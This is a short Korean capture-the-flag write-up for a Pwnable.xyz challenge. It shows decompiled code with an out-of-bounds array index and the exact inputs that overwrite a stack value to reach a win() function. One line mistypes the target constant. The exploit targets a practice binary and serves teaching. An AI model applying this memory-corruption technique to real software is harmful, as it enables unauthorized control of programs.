약간 전에 문제랑 비슷한 형태이다.
근데 이건 약간에 메모리에 대한 이해가 필요하다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-A0h]
_QWORD v5[3]; // [rsp+18h] [rbp-98h]
__int64 v6; // [rsp+30h] [rbp-80h]
__int64 v7; // [rsp+38h] [rbp-78h]
__int64 v8; // [rsp+40h] [rbp-70h]
unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setup(*&argc, argv, envp);
memset(&s, 0, 152uLL);
*(v5 + 7) = 0xDEADBEEFLL;
while ( _isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(v5 + 7) == 0xB000000B5LL )
win();
return 0;
}
일단 코드를 보면 딱봐도 v5에 배열을 우리가 조정이 가능하다.
우리는 v5+7에 값을 0xB000000005 로 바꿔야된다.
그럼 우리는 배열에 맞게 값을 넣어주면 되겠다.
그넫 여기서 리틀엔데언떄문에 고민을좀 해야한다.
리틀엔디언떄문에 처음에 맨 뒤에 숫자인 B5를 넣어줘야된다.
-5404319552844595200 0 -6
요런식으로해서 첫번쨰 배열에 넣어주도록하자.
그다음으로 배열 두번쨰에 b000000을 넣어서 마무리를 짓도록 하자.
184549376 0 -5
이런식으로 진행하게되면 메모리에 잘 넣어지는것을 확인할수있다.
'CTF > Pwnable.xyz' 카테고리의 다른 글
Pwnable.xyz pwnable_GrownUpRedist Write up (0) | 2019.11.17 |
---|---|
Pwnable.xyz pwnable_xor Write up (0) | 2019.11.17 |
Pwnable.xyz pwnable_add Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_sub Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_welcome Write up (0) | 2019.11.09 |